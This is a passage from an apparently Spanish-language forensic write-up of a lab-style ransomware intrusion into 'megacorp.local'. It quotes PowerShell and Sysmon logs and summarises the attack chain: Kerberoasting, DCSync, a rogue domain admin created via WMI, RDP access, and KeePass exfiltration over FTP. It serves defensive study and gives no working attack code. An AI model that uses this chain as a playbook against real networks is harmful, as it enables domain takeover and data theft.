ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-8.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-9.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-9.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\passwords\management-passwords-1.kdbx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\passwords\management-passwords-1.kdbx is now encrypted”
El fichero del ransomware ha sido descargado del FTP de los atacantes:
Nombre de registro:Microsoft-Windows-Sysmon/Operational
Origen: Microsoft-Windows-Sysmon
Fecha: 22/03/2024 13:32:26
Id. del evento:11
Categoría de la tarea:File created (rule: FileCreate)
Usuario: SYSTEM
Equipo: DC02.megacorp.local
UtcTime: 2024-03-22 12:32:26.081
ProcessGuid: {87ae893e-799b-65fd-c42e-000000000700}
ProcessId: 1176
Image: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\FileZilla64\FileZilla.exe
TargetFilename: C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
CreationUtcTime: 2024-03-22 12:32:26.081
User: MEGACORP\administrat0r
Se establecen las siguientes conclusiones del análisis forense de esta máquina:
- Los atacantes realizaron un ataque de Kerberoasting contra la cuenta de sqladmin desde la dirección IP 192.168.20.42.
- A continuación, realizaron un ataque de DCSync con el usuario helpdesk, lograndeo una copia del Directorio Activo de la Organización.
- Posteriormente, crean a través de WMI y con la cuenta de Administrador la cuenta administrad0r, que se añadida al grupo de administradores de dominio.
- Con este nuevo usuario, acceden por Escritorio Remoto al controlador de dominio.
- Una vez iniciada sesión, descargan el software FileZilla, y lo emplean por un lado para exfiltrar una base de datos de credenciales de KeePass y por el otro para copiar el ransomware bakalavaransom.ps1 al controlador de dominio.
- Para finalizar, ejecutan el ransomware, cifrando ficheros de SRV01.
Se pregunta a la Organización por qué equipo tiene la dirección IP 192.168.20.42. indicando que corresponde al equipo WS02. Se solicita un volcado de memoria RAM y un triaje del equipo, y se procede a su análisis.
Speak Your Mind